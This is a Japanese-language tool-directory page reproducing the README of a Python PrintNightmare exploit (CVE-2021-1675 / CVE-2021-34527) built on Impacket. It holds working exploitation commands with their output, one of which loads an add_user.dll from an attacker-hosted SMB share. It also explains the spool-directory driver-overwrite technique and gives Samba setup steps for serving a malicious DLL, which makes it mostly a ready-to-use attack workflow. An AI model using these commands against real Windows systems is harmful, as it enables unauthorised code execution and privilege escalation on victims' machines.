Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PrintNightmare — PrintNightmare (CVE-2021-1675 / CVE-2021-34527) 用のPython実装 | Kitploit
ツール/GitHubGitHub/ly4k/printnightmare
特権昇格脆弱性分析エクスプロイトペネトレーションテストペイロード開発
GitHubly4k/printnightmare

PrintNightmare

PrintNightmare (CVE-2021-1675 / CVE-2021-34527) 用のPython実装

リポジトリを見る
213334年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PrintNightmare

標準のImpacketを使用したPrintNightmare (CVE-2021-1675 / CVE-2021-34527) のPython実装。

インストール

root@kitploit:~
$ pip3 install impacket

使用方法

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

使用例

悪用

リモートDLL
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
ローカルDLL
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

ローカルDLLの例では、CVE-2021-34527を悪用してDLLをコピーしていないことに注意してください。

カスタム名
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

ターゲットが脆弱かどうかの確認

パッチ未適用のWindows 10
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
パッチ適用済みのWindows Server 2022
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

現在のプリンタードライバーの一覧表示

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

プリンタードライバーの削除

管理者権限が必要な場合があります。

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

詳細

PrintNightmareは、CVE-2021-1675 / CVE-2021-34527の2つのCVEで構成されています。

CVE-2021-1675

非管理者ユーザーが新しいプリンタードライバーを追加できるという脆弱性です。この脆弱性は、新しいプリンタードライバーを追加できるユーザーを管理者のみに制限することで修正されました。パッチ適用済みのプリントスプーラーは、非管理者が新しいプリンタードライバーを追加しようとすると RPC_E_ACCESS_DENIED (コード: 0x8001011b) を返します。

CVE-2021-34527

新しいプリンタードライバーを追加する際、DRIVER_CONTAINER内の pDataFile パラメーターはUNCパスを許可します。ただし、pDataFile で指定されたDLLは読み込まれませんが、ローカルパスにコピーされるため、pConfigFile パラメーターをそのローカルパスに向けた新しいプリンタードライバーを作成してDLLを読み込ませることができます。パッチ適用済みのプリントスプーラーは ERROR_INVALID_PARAMETER (コード: 0x57) を返します。

要素の組み合わせ

悪意のあるDLLがターゲット上にすでに存在する場合は、CVE-2021-1675のみが必要です。

PrintNightmareでは、DLLがローカルパスでない場合、CVE-2021-34527を使用してUNCパス経由でDLLを取得できます。そのため、DLLをSMB経由で提供する必要があります。SMBとUNCに詳しくない場合は、次のサブセクションを参照してください。

新しいプリンタードライバーを作成する際、セキュリティ上の理由から pDataFile パラメーター内のDLLは読み込まれません。ただし、C:\Windows\system32\spool\drivers\x64\3\ にコピーされます。その後、ローカルパスを指定した pConfigFile (DLLを読み込む) を使用する新しいプリンタードライバーを作成できます。ただし、2つ目のプリンタードライバーを作成する時点では、1つ目のプリンタードライバーがDLLを使用中です。代わりに、1つ目のプリンタードライバーを上書きすると、プリンタードライバーのDLLが C:\Windows\system32\spool\drivers\x64\3\old\<I>\ にコピーされます。ここで <I> はDLLごとに増加します。これで、DLLが使用されなくなったため、ローカルパス C:\Windows\system32\spool\drivers\x64\3\old\<I>\ を使用する3つ目のプリンタードライバーを作成できます。あとは、1 から増加し始める <I> を推測するだけです。

なお、DLLはローカルではファイル名が維持されます。したがって、最初に foo.dll を使ってエクスプロイトを実行し、それが C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll に保存され、その後ローカルで foo.dll の内容を変更して再度エクスプロイトを実行すると、今度は C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll に保存されます。この場合、元の foo.dll が C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll にあるため、そちらが使用されます。DLLの内容を変更する場合は、ファイル名を変更するのが簡単です。

SMBとUNC

簡単に言うと、UNCパスはローカルファイルではなくネットワーク上のファイルやフォルダーへのパスであり、サーバー名とパスが含まれます。たとえば、UNCパス \\10.0.0.2\files\foo.txt は、サーバー 10.0.0.2 の files 共有から提供されるファイル foo.txt を指します。通常、共有はSMB経由で提供されますが、WebDAVもサポートされています。LinuxでSMB共有を作成するには、Samba パッケージを使うのが最も簡単で信頼性の高い方法です。

apt で Samba をインストールするには:

root@kitploit:~
$ sudo apt install samba

/etc/samba/smb.conf を編集し、ファイルの末尾に以下を追加します:

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

これにより、smb という新しい共有が作成され、/tmp/share 内のファイルが提供されます。匿名アクセスが許可され、ファイルの参照にはローカルユーザー nobody が使用されます。

次に、以下のコマンドでSambaサービスを起動します:

root@kitploit:~
$ sudo service smbd start

LinuxマシンのIPが 192.168.1.100 で、evil.dll を提供したい場合、このシナリオでのUNCパスは \\192.168.1.100\smb\evil.dll になります。

作者

  • @ly4k

クレジット

  • @cube0x0 の実装
  • Impacket
ツールをダウンロード